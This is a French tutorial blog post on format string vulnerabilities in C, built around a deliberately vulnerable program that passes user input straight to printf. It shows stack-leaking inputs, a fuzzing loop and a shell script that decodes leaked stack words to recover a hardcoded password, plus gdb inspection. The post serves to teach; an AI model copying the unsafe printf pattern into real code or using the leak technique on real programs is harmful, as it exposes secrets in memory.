Le "format string" est une vulnérabilité lié au paramètre qu'il est possible de donner à l'instruction printf et ses dérivés. Nous allons l'exploiter dans un cas d'école.





0x01. PRINTF


Fonctions :

- printf, fprintf, sprintf, snprintf, asprintf, dprintf, vprintf, vfprintf, vsprintf, vsnprintf, vasprintf, vdprintf


 
/usr/include/stdio.h :
 
359:extern int printf (__const char *__restrict __format, ...);
 

Voici quelques exemples de formats :


 
char data[32]="SOME_TEXT\\x00";
 
printf("\\nchar data[32]=\\"SOME_TEXT\\\\x00\\";\\n");
 
printf("\\nCharacter (1 byte) : '%c'",data[0]);
printf("\\nString ............: '%s'",data);
printf("\\nHexadecimal .......: '%x'",&data);
printf("\\nPointer ...........: '%p'",&data);
printf("\\nInteger (sizeof) ..: '%d'",sizeof(data));
printf("\\nInteger (strlen) ..: '%d'",strlen(data));
printf("\\nInteger ...........: '%.8x'",1234);
 

char data[32]="SOME_TEXT\\x00";

Character (1 byte) i 'SOME_TEXT'
String ............: 'SOME_TEXT'
Hexadecimal .......: 'bffff5d0'
Pointer ...........: '0xbffff5d0'
Integer (sizeof) ..: '32'
Integer (strlen) ..: '9'
Integer ...........: '00001234'
 
// vuln.c?
#include <stdio.h>?
#include <unistd.h>
int main(int argc, char *argv[])?
{
	char *secret = "P@ssw0rd";?
	char buffer[36];?
	strcpy(buffer, secret);?
	printf(argv[1]); 
	return 0;?
}
 

gcc vuln.c -o vuln



0x02. VULNERABILITE


$ ./vuln TEST123ABC
TEST123ABC

$ ./vuln %x
8048520

$ ./vuln %p
0x08048520

Lorsque le texte affiché par print est un format d'affichage il affiche une adresse la pile (stack.)





0x04. PARCOURS


Nous allons alors tenter de parcourir la pile :


 
$ ./vuln %.8x-%.8x
08048520-b7fb5ce0
 
$ ./vuln %.8x-%.8x-%.8x
08048520-b7fb5ce0-080482ec
 

Faisons alors un peu de fuzzing...


 
arg="%.8x"
for i in {1..8}
do
  printf "%2s : " "$i"
  ./vuln "$arg"
  arg="%.8x-"$arg
  echo
 done
 

1 : 08048520
 2 : 08048520-b7fb5ce0
 3 : 08048520-b7fb5ce0-080482ec
 4 : 08048520-b7fb5ce0-080482ec-b7ff0590
 5 : 08048520-b7fb5ce0-080482ec-b7ff0590-080496a8
 6 : 08048520-b7fb5ce0-080482ec-b7ff0590-080496a8-bffff608
 7 : 08048520-b7fb5ce0-080482ec-b7ff0590-080496a8-bffff5f8-73734050
 8 : 08048520-b7fb5ce0-080482ec-b7ff0590-080496a8-bffff5f8-73734050-64723077



0x05. ENDIANNESS


Nous allons étudier l' "endianness" sur 32bits :


Data : 12345678ABCD??

Little Endian:?
=========================>     # Stack reading?
34333231-38373635-44434241?
 4 3 2 1  8 7 6 5  D C B A?
 <======  <======  <======     # Register/word reading

Big Endian:?
=========================>     # Stack "natural" reading?
31323334-35363738-41424344?
 1 2 3 4  5 6 7 8  A B C D?
 ======>  ======>  ======>     # Register/word reading

Pour le détecter il faut connaitre quel bit est changé sur un octet :


@x_arr => 0x1 => 0001 => @x_arr[0] = 1 => Little Endian
most significant bit last

@x_arr => 0x8 => 1000 => @x_arr[0] = 0 => Big Endian
most significant bit first
 
// detect_endian.c
 
#include <stdio.h>
 
int main (void)
{
  unsigned int x = 1;
  char *x_arr = (char *) &x;
 
  if (x_arr[0] == 1)
  {
    printf ("Little Endian System\\n");
  }
  else if (x_arr[0] == 0)
  {
    printf ("Big Endian System\\n");
  }
  return 0;
}
 




0x05. LECTURE


Maintenant que nous savons que nous sommes en Little Endian comme la majorité des systèmes d'exploitation sur architecture Intel (& AMD), nous sommes capable de lire le résultat du fuzzing :


08048520-b7fb5ce0-  // Les caractères lisibles se situent
080482ec-b7ff0590-  // entre 0x20 et 0x7f
080496a8-bffff5f8- 
73734050-64723077   // Nous en avons donc ici 

Nous allons faire un script, qui permet à partir de ses valeurs héxadécimale d'en extraire le texte lisible, en prenant en compte l'endianness


 
#!/bin/sh
 
 
usage()
{
	echo "
Usage: $(basename $0) <-l|-b> <program> <poppers>
 
  -l : little endian
  -b : big endian
 
Ex.  : $(basename $0) -l ./vuln1 %.8x-%.8x-%.8x-%.8x-%.8x-%.8x-%.8x-%.8x
"
	exit 0
}
 
 
 
if [ $# -ne 3 ]; then
	usage
fi
 
end="$1"
exe="$2"
arg="$3"
 
readable_bytes_regex="(\\-([2-7]|0[0|a|d])([a-f0-9]){1,})|(0[a|d])([2-7][0-9a-f])\\-"
 
if [ "$end" = "-l" ]; then
 
	readable_bytes=$($exe "$arg"|egrep -o "$readable_bytes_regex")
	readable_words=$(echo "$readable_bytes"|sed 's/\\-//g'|egrep -o "([a-f0-9]){4,}")
	echo "$readable_words"|while read word ; do
		readable_byte=$(echo "$word"|egrep -o "([a-f0-9]){2}")
		echo "$readable_byte"|while read byte ; do
			echo "$byte"
		done|tac|while read byte ; do
			[ ! -z "$byte" ] && printf "\\x$byte"
		done
	done
	echo
 
elif [ "$end" = "-b" ]; then
 
	readable_bytes=$($exe "$arg"|egrep -o "$readable_bytes_regex")
	echo "$readable_bytes"|sed 's/\\-//g'|egrep -o "([a-f0-9]){2}"|while read byte ; do
		printf "\\x$byte"
	done
	echo
 
else
 
	usage
 
fi
 

Nous avons donc comme résultat :


$ ./pointer2str.sh -l ./vuln %.8x-%.8x-%.8x-%.8x-%.8x-%.8x-%.8x-%.8-%.8x
P@ssw0rd

Note : dans ce cas d'école, nous pouvons avoir la chaine située dans buffer plus simplement :


gdb ./vuln

(gdb)  disas main

   0x0804847c <+48>:	call   0x8048320 
=> 0x08048481 <+53>:	mov    $0x0,%eax

(gdb) break *0x0804847c
(gdb) run TEST

(gdb) x/4x $esp
0xbffff530:	0xb2	0xf7	0xff	0xbf

(gdb) x/4s $esp
0xbffff530:	 [...]\\bx\\365\\377\\277P@ssw0rd"
0xbffff555:	 [...]\\205\\004\\b\\240\\204\\004\\b"
0xbffff575:	 ""
0xbffff576:	 ""

Dans ce cas préçis, il y'a encore plus simple :


$ ./vuln %
P@ssw0rd


   =>   Écrit par : Nicolas, le 27 janvier 2016


 
Mots clés :  
  reverse 
  
  c 
  
  gdb 
    >   Articles connexes :

Comment gagner du temps sur Internet



/tmp et /var/log en noexec sur macOS



GDB - Cas d'école



1928086